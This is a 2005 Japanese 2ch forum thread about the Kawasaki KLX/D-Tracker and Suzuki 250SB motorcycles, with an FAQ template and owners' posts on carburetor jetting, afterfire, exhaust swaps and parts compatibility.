【Kawasaki】KLX D-Tracker 250SB 19th 【SUZUKI】
1 ：７７４ＲＲ：
【メーカーWebPage】
カワサキモータースジャパン (KLX&D-TRACKER)
http://www.kawasaki-motors.com/mc/index.html
SUZUKI MOTORCYCLES (250SB)
http://www1.suzuki.co.jp/motor/
【前スレ】 【Kawasaki】KLX D-Tracker 250SB 18th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1111548178
テンプレは>>2-6あたりに
カワサキモータースジャパン (KLX&D-TRACKER)
http://www.kawasaki-motors.com/mc/index.html
SUZUKI MOTORCYCLES (250SB)
http://www1.suzuki.co.jp/motor/
【前スレ】 【Kawasaki】KLX D-Tracker 250SB 18th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1111548178
テンプレは>>2-6あたりに
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2 ：７７４ＲＲ：2005/05/08(日) 10:35:23 ID:u+kiEe98
過去スレ一覧
－パート1－【kawasaki】D-TRACKER～
http://ton.2ch.net/bike/kako/1012/10124/1012471191.html
－パート2－【kawasaki】D-TRACKER&KLX専用スレ part2
http://choco.2ch.net/test/read.cgi/bike/1020789927/
－パート3－【Kawasaki】D-TRACKER&KLX専用スレ part3
http://choco.2ch.net/test/read.cgi/bike/1029070973/
－パート4－【Kawasaki】D-TRACKER
http://hobby2.2ch.net/bike/kako/1035/10354/1035461753.html
－パート5－【kawasaki】D-TRACKERKLXSB250スレ part5
http://hobby3.2ch.net/test/read.cgi/bike/1045584814/
－パート6－【kawasaki】D-TRACKERKLXSB250スレ part6
http://hobby4.2ch.net/test/read.cgi/bike/1053515431/
－パート7－【kawasaki】D-TRACKERKLXSB250スレ part7
http://hobby4.2ch.net/test/read.cgi/bike/1061815345/
－パート8－【kawasaki】D-TRACKERKLX250SBスレ part8
http://hobby4.2ch.net/test/read.cgi/bike/1068280211/
－パート9－【Kawasaki】D-TRACKER,KLX,250SBスレ part9
http://hobby4.2ch.net/test/read.cgi/bike/1075179836/
－パート10－【Kawasaki】D-TRACKER,KLX,250SBスレ part10
http://hobby6.2ch.net/test/read.cgi/bike/1080654639/
－パート1－【kawasaki】D-TRACKER～
http://ton.2ch.net/bike/kako/1012/10124/1012471191.html
－パート2－【kawasaki】D-TRACKER&KLX専用スレ part2
http://choco.2ch.net/test/read.cgi/bike/1020789927/
－パート3－【Kawasaki】D-TRACKER&KLX専用スレ part3
http://choco.2ch.net/test/read.cgi/bike/1029070973/
－パート4－【Kawasaki】D-TRACKER
http://hobby2.2ch.net/bike/kako/1035/10354/1035461753.html
－パート5－【kawasaki】D-TRACKERKLXSB250スレ part5
http://hobby3.2ch.net/test/read.cgi/bike/1045584814/
－パート6－【kawasaki】D-TRACKERKLXSB250スレ part6
http://hobby4.2ch.net/test/read.cgi/bike/1053515431/
－パート7－【kawasaki】D-TRACKERKLXSB250スレ part7
http://hobby4.2ch.net/test/read.cgi/bike/1061815345/
－パート8－【kawasaki】D-TRACKERKLX250SBスレ part8
http://hobby4.2ch.net/test/read.cgi/bike/1068280211/
－パート9－【Kawasaki】D-TRACKER,KLX,250SBスレ part9
http://hobby4.2ch.net/test/read.cgi/bike/1075179836/
－パート10－【Kawasaki】D-TRACKER,KLX,250SBスレ part10
http://hobby6.2ch.net/test/read.cgi/bike/1080654639/
3 ：７７４ＲＲ：2005/05/08(日) 10:36:18 ID:u+kiEe98
－パート11－【Kawasaki】D-TRACKER,KLX,250SB part11【SUZUKI】
http://hobby6.2ch.net/test/read.cgi/bike/1086015291/
－パート12－【ｵﾌﾛｰﾄﾞ】D-TRACKER,KLX,250SB part12【ﾓﾀｰﾄﾞ】
http://hobby7.2ch.net/test/read.cgi/bike/1089816876/l50
－パート13－【Kawasaki】KLX D-Tracker 250SB 13th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1093883205/l50
－パート14－【Kawasaki】KLX D-Tracker 250SB 14th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1097217697/l50
－パート15－【Kawasaki】KLX D-Tracker 250SB 15th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1100613857/
－パート16－【Kawasaki】KLX D-Tracker 250SB 16th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1104194140/
－パート17－【Kawasaki】KLX D-Tracker 250SB 17th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1107770516/
http://hobby6.2ch.net/test/read.cgi/bike/1086015291/
－パート12－【ｵﾌﾛｰﾄﾞ】D-TRACKER,KLX,250SB part12【ﾓﾀｰﾄﾞ】
http://hobby7.2ch.net/test/read.cgi/bike/1089816876/l50
－パート13－【Kawasaki】KLX D-Tracker 250SB 13th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1093883205/l50
－パート14－【Kawasaki】KLX D-Tracker 250SB 14th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1097217697/l50
－パート15－【Kawasaki】KLX D-Tracker 250SB 15th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1100613857/
－パート16－【Kawasaki】KLX D-Tracker 250SB 16th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1104194140/
－パート17－【Kawasaki】KLX D-Tracker 250SB 17th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1107770516/
4 ：７７４ＲＲ：2005/05/08(日) 10:37:53 ID:u+kiEe98
～よくある質問～
Q:足つきが心配です( ; ﾟДﾟ)
A:一般的成人男性なら、160cm以上あれば大丈夫。最初は慣れが必要かも？
女性でも150cmくらいの方が乗っている情報もあります。
Dトラの方がタイヤ径が小さいので、足つき良好。
アフターパーツとしては、ローダウンキットなども多数販売されています、
ただしサスの動きが悪くなるらしい。
Q:乗り出しいくら位ですか？
A:新車ｺﾐｺﾐで50万前後？中古はhttp://www.goobike.com/をチェック汁
Q:最高速は？
A:たぶん140kmくらい。でも、最高速を気にするバイクじゃない罠
Q:社外マフラーはどれが良いですか？
A:過去ログ嫁・・・と言いたいところですが、性能はBEETのモタード管が評判良いみたいです。
Q:規制前マフラーは現行モデルに使える？
A:エキパイとのジョイント部の径が違う。それ用のカラーも有るらしいけどエキパイ共々交換が吉。
Q:足つきが心配です( ; ﾟДﾟ)
A:一般的成人男性なら、160cm以上あれば大丈夫。最初は慣れが必要かも？
女性でも150cmくらいの方が乗っている情報もあります。
Dトラの方がタイヤ径が小さいので、足つき良好。
アフターパーツとしては、ローダウンキットなども多数販売されています、
ただしサスの動きが悪くなるらしい。
Q:乗り出しいくら位ですか？
A:新車ｺﾐｺﾐで50万前後？中古はhttp://www.goobike.com/をチェック汁
Q:最高速は？
A:たぶん140kmくらい。でも、最高速を気にするバイクじゃない罠
Q:社外マフラーはどれが良いですか？
A:過去ログ嫁・・・と言いたいところですが、性能はBEETのモタード管が評判良いみたいです。
Q:規制前マフラーは現行モデルに使える？
A:エキパイとのジョイント部の径が違う。それ用のカラーも有るらしいけどエキパイ共々交換が吉。
5 ：７７４ＲＲ：2005/05/08(日) 10:38:44 ID:u+kiEe98
～続・よくある質問～
Q7:キャブセッティングを教えて！！
A7:年式・個体差・改造度合毎に正解は様々です。詳しい状況を書けばそれなりのレスがくる、鴨。
Q8:モタード走行、ドリフトできますか？（Dトラ、SB）
A8:十分出来ます！ただし本格的にサーキット走るなら、サスのセッティングした方が良さげ
Q9:ふ、太いリヤタイヤをい、入れたいのでつが.....(;´Д｀)（Dトラ、SB）
A9:ﾓ､ﾓﾁﾂｹ･･･
140/70-17を履かせてる人は居ます。が、チェーンとのクリアランスがギリギリらしい
ていうか、当たってる鴨・・・
Q10:KLX無印、ES、SR、R何が違うの？
A10:無地：倒立フォーク セル始動（現行）
ES：正立フォーク セル始動
SR：倒立フォーク キック始動バッテリーレス
R：EDレーサー 倒立フォーク キック始動バッテリーレス ハイシート
その他スペックなどの違いは、ここをチェック汁
http://www.geocities.co.jp/MotorCity-Pit/2395/databook.html
Q11:KLXにDトラ、SBの外装はポン付けできますか？またその逆は？
A11:基本的にどれでもポン付け。
ただしKLX250SRの左サイドカバーはバッテリーレスゆえにスリムです。
バッテリー有りの車種にはつきません。タンクは年式によってタンクのフタの形状が違うかも？
それとＤトラ新外装の互換性についてはこのスレで明らかになります・・・多分
Q12:お知りがが痛くなるのですが
A12:オフ車（系）の宿命と思って我慢汁｡
多少の足つき悪化が苦にならなければ300R用純正やcozyシート入れるのも手。
ただし、cozyシートは LOWシートもあるのでこれに交換すると純正シートとほぼ同じ高さになるようだ。
Q7:キャブセッティングを教えて！！
A7:年式・個体差・改造度合毎に正解は様々です。詳しい状況を書けばそれなりのレスがくる、鴨。
Q8:モタード走行、ドリフトできますか？（Dトラ、SB）
A8:十分出来ます！ただし本格的にサーキット走るなら、サスのセッティングした方が良さげ
Q9:ふ、太いリヤタイヤをい、入れたいのでつが.....(;´Д｀)（Dトラ、SB）
A9:ﾓ､ﾓﾁﾂｹ･･･
140/70-17を履かせてる人は居ます。が、チェーンとのクリアランスがギリギリらしい
ていうか、当たってる鴨・・・
Q10:KLX無印、ES、SR、R何が違うの？
A10:無地：倒立フォーク セル始動（現行）
ES：正立フォーク セル始動
SR：倒立フォーク キック始動バッテリーレス
R：EDレーサー 倒立フォーク キック始動バッテリーレス ハイシート
その他スペックなどの違いは、ここをチェック汁
http://www.geocities.co.jp/MotorCity-Pit/2395/databook.html
Q11:KLXにDトラ、SBの外装はポン付けできますか？またその逆は？
A11:基本的にどれでもポン付け。
ただしKLX250SRの左サイドカバーはバッテリーレスゆえにスリムです。
バッテリー有りの車種にはつきません。タンクは年式によってタンクのフタの形状が違うかも？
それとＤトラ新外装の互換性についてはこのスレで明らかになります・・・多分
Q12:お知りがが痛くなるのですが
A12:オフ車（系）の宿命と思って我慢汁｡
多少の足つき悪化が苦にならなければ300R用純正やcozyシート入れるのも手。
ただし、cozyシートは LOWシートもあるのでこれに交換すると純正シートとほぼ同じ高さになるようだ。
6 ：７７４ＲＲ：2005/05/08(日) 10:39:39 ID:u+kiEe98
～帰って来た・質問～
Q13:Fスプロケットが取れません！＠規制後車
A13:Fスプロケットは27のナットで閉まっているだけですが仕様(w)で鬼のように固く閉まっています。
インパクトレンチor27コマ＋ウルトラエクステンション＋ブレーキ鬼ふみ＋ギヤ1速＋車体をバックさせたつつ
固定で
二人掛りでようやく緩むようです（体験談）
緩める方向は正ネジです。
Q14:ポジションはドウデスカ？
Aさん『軽いから片足でおっとっとになっても、全然恐くないね。
むしろ走行時の視界の高さがとても良い。ポジションも鬼のように楽。
レプ乗りの意見です。 』
B氏 『鬼のポジションはそんなに楽なのか？ 』
JNM氏『ヤツら、いいパンツ履いてるからな。』
Q:足つきが心配です( ; ﾟДﾟ)→追加情報
A:まずは股下を計ってこい。話はそれからだ。
股下８６ｃｍ・・・両足踵まで
股下８２ｃｍ・・・両足指の付け根まで
股下７８ｃｍ・・・両足不可、片足指の付け根まで
股下７４ｃｍ・・・ケツづらし片足爪先（ローダウン加工推奨）
D虎は－３ｃｍで考えてよし、体重は６０キロ標準で±５キロごとに１ｃｍ増減
足つきを心配するなら身長で話しをするもんじゃないよ。
Q13:Fスプロケットが取れません！＠規制後車
A13:Fスプロケットは27のナットで閉まっているだけですが仕様(w)で鬼のように固く閉まっています。
インパクトレンチor27コマ＋ウルトラエクステンション＋ブレーキ鬼ふみ＋ギヤ1速＋車体をバックさせたつつ
固定で
二人掛りでようやく緩むようです（体験談）
緩める方向は正ネジです。
Q14:ポジションはドウデスカ？
Aさん『軽いから片足でおっとっとになっても、全然恐くないね。
むしろ走行時の視界の高さがとても良い。ポジションも鬼のように楽。
レプ乗りの意見です。 』
B氏 『鬼のポジションはそんなに楽なのか？ 』
JNM氏『ヤツら、いいパンツ履いてるからな。』
Q:足つきが心配です( ; ﾟДﾟ)→追加情報
A:まずは股下を計ってこい。話はそれからだ。
股下８６ｃｍ・・・両足踵まで
股下８２ｃｍ・・・両足指の付け根まで
股下７８ｃｍ・・・両足不可、片足指の付け根まで
股下７４ｃｍ・・・ケツづらし片足爪先（ローダウン加工推奨）
D虎は－３ｃｍで考えてよし、体重は６０キロ標準で±５キロごとに１ｃｍ増減
足つきを心配するなら身長で話しをするもんじゃないよ。
7 ：７７４ＲＲ：2005/05/08(日) 10:40:29 ID:u+kiEe98
以上、テンプレでした～
おつくねさまですﾉｼ
お局様ですﾉｼ
>>1
MOTUL
MOTUL
ＦＣＲ付けようと思ってるんですが、
どこで出してるのが良いんですかね？
エアクリ仕様にすると、スペースの問題とか出てくるみたいだし。
やっぱビトー製が良いのかな？
どこで出してるのが良いんですかね？
エアクリ仕様にすると、スペースの問題とか出てくるみたいだし。
やっぱビトー製が良いのかな？
>ホワイトブロスに換えてセッティングでない人へ
エアクリ→キャブもそうですけど、キャブ→エンジンへのダクトもずれて外気が混入する事があるそうです。
あと気になったのは、5速80kmが、気持ちよく加速しない限度なのか、
どんなにアクセルを全開しても80km以上でない限度なのかが分らないです。
前者ならまぁ普通のKLXならそれぐらいがリミット、後者なら改善の余地あり。
(5速だと100kmぐらいまでは引っ張れたはず)
また、煙が出るのは、下ろしたてのマフラーだと細かいグラスウールが燃焼?して煙でたり、
KLEENカットすると、いくらか不完全燃焼部分出るから排ガスが臭くなる傾向があるそうです。
エンジンの挙動で濃い薄いを判定した方がいい希ガス。
エアクリ→キャブもそうですけど、キャブ→エンジンへのダクトもずれて外気が混入する事があるそうです。
あと気になったのは、5速80kmが、気持ちよく加速しない限度なのか、
どんなにアクセルを全開しても80km以上でない限度なのかが分らないです。
前者ならまぁ普通のKLXならそれぐらいがリミット、後者なら改善の余地あり。
(5速だと100kmぐらいまでは引っ張れたはず)
また、煙が出るのは、下ろしたてのマフラーだと細かいグラスウールが燃焼?して煙でたり、
KLEENカットすると、いくらか不完全燃焼部分出るから排ガスが臭くなる傾向があるそうです。
エンジンの挙動で濃い薄いを判定した方がいい希ガス。
13 ：７７４ＲＲ：2005/05/08(日) 14:17:25 ID:kCJ2H9Zu
前スレで慣らし不足だとギアが入りにくいとありましたが
１６００キロの慣らしを終えればギアの問題はなくなるのですかね？
あと慣らしを適当にやるとその後走ってるときの加速が悪くなるのですかね？
ちなみに燃費も２０キロといった感じで悪いのですがどのようなセッティングを
行えばよくなるのでしょうか？慣らしだから燃費悪いのはしょうがないのですかね？
１６００キロの慣らしを終えればギアの問題はなくなるのですかね？
あと慣らしを適当にやるとその後走ってるときの加速が悪くなるのですかね？
ちなみに燃費も２０キロといった感じで悪いのですがどのようなセッティングを
行えばよくなるのでしょうか？慣らしだから燃費悪いのはしょうがないのですかね？
>>13
どのギヤも満遍なく使いなさいということでは？
1600走ったから、あとは終わりというより、徐々にというカンジの方が良いと思いますよ。
加速うんぬんというより、長期的に見たときのバイクの寿命に関係してくるのでは？（2万キロとか？）
燃費は乗り方ですかね。
アクセルの開け閉めが多いと燃費は悪くなりますよ。
やさしいアクセル操作、空気圧管理、チェーン整備が燃費に良いのでは。
どのギヤも満遍なく使いなさいということでは？
1600走ったから、あとは終わりというより、徐々にというカンジの方が良いと思いますよ。
加速うんぬんというより、長期的に見たときのバイクの寿命に関係してくるのでは？（2万キロとか？）
燃費は乗り方ですかね。
アクセルの開け閉めが多いと燃費は悪くなりますよ。
やさしいアクセル操作、空気圧管理、チェーン整備が燃費に良いのでは。
15 ：７７４ＲＲ：2005/05/08(日) 16:19:15 ID:kCJ2H9Zu
>>14
ご指摘ありがとうございます。
ちなみに１６００ｷﾛ走るまでは８０キロ以上だすのはやめておくべきなんですかね？
どのギヤも万遍なく使いたいとこなのですが都内だと白バイも怖いから6速を使うときが
あまりないのですよね。
ご指摘ありがとうございます。
ちなみに１６００ｷﾛ走るまでは８０キロ以上だすのはやめておくべきなんですかね？
どのギヤも万遍なく使いたいとこなのですが都内だと白バイも怖いから6速を使うときが
あまりないのですよね。
>>12
ｻﾝｸｽ
「Ｄﾄﾗの速度が5速で85㌔までしかでない」っと、言う事です。ﾏﾌﾗｰは1年前ぐらいに変えてます。
ｽﾎﾟﾝｼﾞ洗って、ｼｰﾄの余った表皮部分を切って、吸気が流れるようにしてみました。
で、今日も試走しました。ﾔｯﾊﾟﾘ85㌔以上の速度が出ないですね。
アクセルを気にしながら開けてみました。
フルスロットルから1/5開までが速度が一定のようでした(燃料が一定しか噴射されていない？)。
エアクリ→ｷｬﾌﾞとｷｬﾌﾞ→ｴﾝｼﾞﾝも見た目は締まってました。試走してるときも漏れたり、2次ｴｱを吸ってる気配無し。
ｵｲﾙとﾌｨﾙﾀｰ交換もしますた。ひとまず、今の仕様で10日程乗ってみます。
皆様方、アドヴｧｲｽアリガト
初めてＤﾄﾗで林道走りに行きました。
ガレあり泥あり急斜面ありでしたが、他のオフ車になんとか着いて行く事ができました(他の人は抑えてましたが)。
すげぇ、楽しかったです。
Ｄﾄﾗはｏｎもｏｆｆも、そこそこここなせ、ﾂｰﾘﾝｸﾞ、通勤、街海苔、曲乗と贅沢三昧に遊べるﾏｼﾝと感じました。
Ｄﾄﾗ、めっさ好きになってしまたｗ
ｻﾝｸｽ
「Ｄﾄﾗの速度が5速で85㌔までしかでない」っと、言う事です。ﾏﾌﾗｰは1年前ぐらいに変えてます。
ｽﾎﾟﾝｼﾞ洗って、ｼｰﾄの余った表皮部分を切って、吸気が流れるようにしてみました。
で、今日も試走しました。ﾔｯﾊﾟﾘ85㌔以上の速度が出ないですね。
アクセルを気にしながら開けてみました。
フルスロットルから1/5開までが速度が一定のようでした(燃料が一定しか噴射されていない？)。
エアクリ→ｷｬﾌﾞとｷｬﾌﾞ→ｴﾝｼﾞﾝも見た目は締まってました。試走してるときも漏れたり、2次ｴｱを吸ってる気配無し。
ｵｲﾙとﾌｨﾙﾀｰ交換もしますた。ひとまず、今の仕様で10日程乗ってみます。
皆様方、アドヴｧｲｽアリガト
初めてＤﾄﾗで林道走りに行きました。
ガレあり泥あり急斜面ありでしたが、他のオフ車になんとか着いて行く事ができました(他の人は抑えてましたが)。
すげぇ、楽しかったです。
Ｄﾄﾗはｏｎもｏｆｆも、そこそこここなせ、ﾂｰﾘﾝｸﾞ、通勤、街海苔、曲乗と贅沢三昧に遊べるﾏｼﾝと感じました。
Ｄﾄﾗ、めっさ好きになってしまたｗ
KLXなんですけど あ IDがXRなのは気にしないで
モタのタイヤでもいけるんですね
林道ツーリングっていっても舗装路長距離乗るし
タラタラ林道走るだけなので別にモタでもいいように思ってきた
モタのタイヤでもいけるんですね
林道ツーリングっていっても舗装路長距離乗るし
タラタラ林道走るだけなので別にモタでもいいように思ってきた
すんません、質問させてください。購入検討中の者です。
ＤトラにKLXのホイールはポンづけ可能ですか？またはその逆でもよいのですが。
可能ならホイール２組揃えてオン、オフ両方楽しめそうだから買いなのですが、、
ＤトラにKLXのホイールはポンづけ可能ですか？またはその逆でもよいのですが。
可能ならホイール２組揃えてオン、オフ両方楽しめそうだから買いなのですが、、
すんません、ちょっと質問させてください。
今日バイク屋さんで見積もりもらった際に250SBのパンフレットもらったんですけど、
そのパンフレットだとシュラウドに貼ってあるデカールが銀色なんですね。
でも、スズキのサイトだとデカールは赤なんですよ。
これってどっちが正しいんですか？
もしかしてパンフレットは04年のだったりするんですか？
今日バイク屋さんで見積もりもらった際に250SBのパンフレットもらったんですけど、
そのパンフレットだとシュラウドに貼ってあるデカールが銀色なんですね。
でも、スズキのサイトだとデカールは赤なんですよ。
これってどっちが正しいんですか？
もしかしてパンフレットは04年のだったりするんですか？
パンフレットよく見直したら小さく2004年8月現在って書いてありました。
ちなみに05年250SBが42万ってかなり買いですか？
ちなみに05年250SBが42万ってかなり買いですか？
23 ：７７４ＲＲ：2005/05/08(日) 20:27:31 ID:JJRFDKMt
ハイオクいれてもOK？？
ギブリのハロゲンライトが割れてしまった。リペア買おうとおもったら1万近くする。アホかいな。カウル3000円か。
というわけで、他社流用できるものあったら教えて。CRMのライトは55Wで流用できないかな？つーかカウルだけ３０００円で売れ。
というわけで、他社流用できるものあったら教えて。CRMのライトは55Wで流用できないかな？つーかカウルだけ３０００円で売れ。
CRMは35Wだった。。
＞２０さん、ありがとうございます。
一応、調べては見てたのですが検索が下手なせいか、よくわかりませんでした。
参考にさせて頂きます。ありがおつございました。
一応、調べては見てたのですが検索が下手なせいか、よくわかりませんでした。
参考にさせて頂きます。ありがおつございました。
>>26
どういたまして。
どういたまして。
29 ：７７４ＲＲ：2005/05/09(月) 01:00:43 ID:eGdg8+Gj
>>1
新ｽﾚ乙
新ｽﾚ乙
30 ：７７４ＲＲ：2005/05/09(月) 07:01:50 ID:4vFZHcyK
公道OKのEDタイヤってよくあるけど滑らない？
EDは勃ち上がりに支障がある。
33 ：７７４ＲＲ：2005/05/09(月) 08:17:37 ID:4vFZHcyK
滑ります。低速コーナーはこっちから滑らせていくつもりで立ち上がります。
中速が怖い・・・やっぱ舗装路を攻めるならＤトラかシラックみたいなタイヤですな
中速が怖い・・・やっぱ舗装路を攻めるならＤトラかシラックみたいなタイヤですな
とあるDトラオーナーサイトで輪生館というバイク屋？のライトカウルが装着
されていたのですが、これについて詳しい情報ありませんか？そのバイク屋
と思われるHP見ても一切情報がなかったもので・・・
されていたのですが、これについて詳しい情報ありませんか？そのバイク屋
と思われるHP見ても一切情報がなかったもので・・・
35 ：７７４ＲＲ：2005/05/09(月) 11:53:25 ID:IjHb8tfc
>34
確かもう売ってないよ｡
確かもう売ってないよ｡
T0.8と300Rの純正マフラーどっちを買うのがお得？どちらも静かで、抜けがいいよね。
軽量なのは0.8ぽいけど、頑丈なのは300Rぽい。
軽量なのは0.8ぽいけど、頑丈なのは300Rぽい。
300Rのはスパークアレスタを外すと結構な爆音。
でもストレート管みたいなお下品な音じゃない。
重さは3.1kg。ノーマルよりは軽い
でもストレート管みたいなお下品な音じゃない。
重さは3.1kg。ノーマルよりは軽い
>>23
ハイオクでもオケでしたよ。
ＥＧ内キレイになると信じ入れてましたが
この度、ついにレギュラーになってしまいました。（だって高いよ～）
ほぼ使い切ってから入れたので現在レギュラーで走ってます。
感想ですが、気のせいかレギュラーの方が力が出てるような気さえします。
久々のロングで古いハイオクを使い切り、新しいガスが入ったからというのが濃厚ですが。
Ninjaはレギュラーだとノッキング気味なこともありましたが、コイツは問題なさげです。
ハイオクでもオケでしたよ。
ＥＧ内キレイになると信じ入れてましたが
この度、ついにレギュラーになってしまいました。（だって高いよ～）
ほぼ使い切ってから入れたので現在レギュラーで走ってます。
感想ですが、気のせいかレギュラーの方が力が出てるような気さえします。
久々のロングで古いハイオクを使い切り、新しいガスが入ったからというのが濃厚ですが。
Ninjaはレギュラーだとノッキング気味なこともありましたが、コイツは問題なさげです。
＞32、33
そうですか。ありがとう。
一回本格的なタイヤで林道を爆走してみたいものです。
そうですか。ありがとう。
一回本格的なタイヤで林道を爆走してみたいものです。
ｸﾘｰﾝｷｬﾝｾﾙのｴﾝｼﾞﾝにする蓋部分は排気口ですよね？
速度が出ないので、ここが原因かと考えてるのですが
速度が出ないので、ここが原因かと考えてるのですが
>>40
ｸﾘｰﾝｷｬﾝｾﾙのｴﾝｼﾞﾝにする蓋部分は排気口？
エンジンのどこらへんに蓋をつけるのかってこと？
キャブからもエアクリからもパイプが繋がってるところが、ラジエーターの裏あたりにあるでしょ？
そこに付けるんだよ。
ｸﾘｰﾝｷｬﾝｾﾙのｴﾝｼﾞﾝにする蓋部分は排気口？
エンジンのどこらへんに蓋をつけるのかってこと？
キャブからもエアクリからもパイプが繋がってるところが、ラジエーターの裏あたりにあるでしょ？
そこに付けるんだよ。
一行目です。排気口だったのですね。最近ｶｯﾄしたのですが、加速と最高速が落ちました。TWに加速負け、最高速も90㌔しかでないし(´・ω・｀)ショボーン
>>37
300Rじゃなくて250Rだった。似たようなものらしいけど、バッフル取りだと径が結構広いな。
T0.8は約1.8kgらしいね。純正が性能上間違いないのはたしかだろうけど、迷うなぁ。
Rのはサイズがちょうど収まりが良い、0.8はちょい長めか。。値段はとんとん。。あぁ。
両方つけた人いない？
>>42
クリーンカットしたら、一応キャブ調整をしたほうが良いと思うよ。個体差あるみたいだけど。
300Rじゃなくて250Rだった。似たようなものらしいけど、バッフル取りだと径が結構広いな。
T0.8は約1.8kgらしいね。純正が性能上間違いないのはたしかだろうけど、迷うなぁ。
Rのはサイズがちょうど収まりが良い、0.8はちょい長めか。。値段はとんとん。。あぁ。
両方つけた人いない？
>>42
クリーンカットしたら、一応キャブ調整をしたほうが良いと思うよ。個体差あるみたいだけど。
>>42
排気口というのかなアレ?エアクリからの空気が最終的に出るところだけど、
エンジン内部に入るから吸引口じゃないのかなぁ。
空気が外界に出るマフラーが排気口って言うイメージ。
んで、スピードが出ないのは、エンジン側の蓋がちゃんと閉まってない、ガスケットつけてない、
キャブ-エアクリ側を栓してない、などによる外気の吸引があると思われ。
あとは、キャブセッティングが狂ったか。
排気口というのかなアレ?エアクリからの空気が最終的に出るところだけど、
エンジン内部に入るから吸引口じゃないのかなぁ。
空気が外界に出るマフラーが排気口って言うイメージ。
んで、スピードが出ないのは、エンジン側の蓋がちゃんと閉まってない、ガスケットつけてない、
キャブ-エアクリ側を栓してない、などによる外気の吸引があると思われ。
あとは、キャブセッティングが狂ったか。
90しか出ないのはさすがに異常な希ガス。
つかまともに作業できんのに弄っちゃあかんよ
ショボンする前に元に戻しなさいな
ショボンする前に元に戻しなさいな
48 ：７７４ＲＲ：2005/05/10(火) 10:16:53 ID:3drIsgD8
ファンって単にコネクタ外して摘出するだけ？
教えてエロい人！
教えてエロい人！
一応、外したコネクタにテープでも巻いとけ。
あ、特にエロくないですから
あ、特にエロくないですから
KLEENが生きてるならファンは外さないほうがいいかもなー
購入してそろそろ一年ですがﾌｧﾝが回ったこと見たこと無い・・
ｹﾞﾛ道エンデューロでも出ない限り機能しない気がしる。
いっそのこと走行風当てて発電機にしてし魔王かと・・
ｹﾞﾛ道エンデューロでも出ない限り機能しない気がしる。
いっそのこと走行風当てて発電機にしてし魔王かと・・
D虎とSB用で売ってるオーリンズ
ノーマルSRにはつかえるの？
激しく欲しい・・・でもホワイトパワーの方がもっと欲しい。
純正改造でなくて社外リアショックの話を久しぶりにしないか？
ノーマルSRにはつかえるの？
激しく欲しい・・・でもホワイトパワーの方がもっと欲しい。
純正改造でなくて社外リアショックの話を久しぶりにしないか？
54 ：７７４ＲＲ：2005/05/10(火) 17:27:19 ID:GZ3FZ6pW
ＤトラにＫＬＸのホイルはポン付け可能？
本日キャブをいじくって見ました。
ＭＪを130から132に変えてまだアフターが出るようなので、135にしてみました。
結果、まだアフター止まりません。
これはやはりＳＪを38から40にするべきなのでしょうか？
ワッシャは2枚入ってます。
ＭＪは132の方がきれいに回っているような気がします。
04トラ 250Ｒダクト Ｔｗｉｎａｉｒフィルタ ディアブロチタン 規制前エキパイです。
ＭＪを130から132に変えてまだアフターが出るようなので、135にしてみました。
結果、まだアフター止まりません。
これはやはりＳＪを38から40にするべきなのでしょうか？
ワッシャは2枚入ってます。
ＭＪは132の方がきれいに回っているような気がします。
04トラ 250Ｒダクト Ｔｗｉｎａｉｒフィルタ ディアブロチタン 規制前エキパイです。
MJを10番上げしてみ。
ふとおもたが、規制後Dトラでアフターは「完全に」消す事は可能なの？
>>57
KLEENをカットしても長いエンブレがあると少し鳴る。
キャブが濃すぎても薄すぎてもアフターは出ちゃうもんだし。
あんまり酷いアフターはどうかと思うが、
「アフターを消す」為に濃い方向に振りすぎるより、
走行フィールに合うセッティングに拘った方が良いんでないかと。
KLEENをカットしても長いエンブレがあると少し鳴る。
キャブが濃すぎても薄すぎてもアフターは出ちゃうもんだし。
あんまり酷いアフターはどうかと思うが、
「アフターを消す」為に濃い方向に振りすぎるより、
走行フィールに合うセッティングに拘った方が良いんでないかと。
>>57
同じく規制後に規制前エキパイ＋サイレンサ、それにブタ鼻250R交換でアフターゼロ。
MJ128,SJ38,PS2 1/8戻し,NJワッシャ1枚
ちと濃いかも。上が伸びにくいのははっきり感じる。
同じく規制後に規制前エキパイ＋サイレンサ、それにブタ鼻250R交換でアフターゼロ。
MJ128,SJ38,PS2 1/8戻し,NJワッシャ1枚
ちと濃いかも。上が伸びにくいのははっきり感じる。
>>55
俺も今MJ135にして試しているが消える気配がないなぁ。
醜いアフターが出るのが5600回転あたりから4800回転までなので
イグナイターを換えてみようかと思っています。
確か進角が変わるのが5000回転からだと思うのでこれで消えたらいいなぁ。
4000回転あたりが鈍いのでSJ38にしているが35でもいいのではないかという気がしてきた。
>>59-60
やはりノーマルがいいのかな。
今付けているマフラーの音がだんだん大きくなってきた気がする。（音は良くなってきたんだが）
俺も250Rのマフラー買ってみようかな。
俺も今MJ135にして試しているが消える気配がないなぁ。
醜いアフターが出るのが5600回転あたりから4800回転までなので
イグナイターを換えてみようかと思っています。
確か進角が変わるのが5000回転からだと思うのでこれで消えたらいいなぁ。
4000回転あたりが鈍いのでSJ38にしているが35でもいいのではないかという気がしてきた。
>>59-60
やはりノーマルがいいのかな。
今付けているマフラーの音がだんだん大きくなってきた気がする。（音は良くなってきたんだが）
俺も250Rのマフラー買ってみようかな。
62 ：素人：2005/05/10(火) 22:08:35 ID:Fy2zR96y
皆アフター消したいって言ってるけど、具体的にどんな害があるの？
素人なのに賢いな
うるさい、耳障り
こんな害だろ・・・
こんな害だろ・・・
つ［みっともない］
つか、シングルでアフターを消し切るのは困難だと思う。
規制前ノーマル管でも良く聞くとポンポンと鳴ってるし
つか、シングルでアフターを消し切るのは困難だと思う。
規制前ノーマル管でも良く聞くとポンポンと鳴ってるし
ポンポンどころかバンバン言ってるけどなぁ。
正味、アフターなんかアクセル操作さえちゃんとできれば消すことはできる。
消すためには先読みして減速すべき地点とかちゃんと読まないと駄目だけど。
高回転キープで攻め続けるＫＬＸにはちょっと不向きな話だと思うけど、
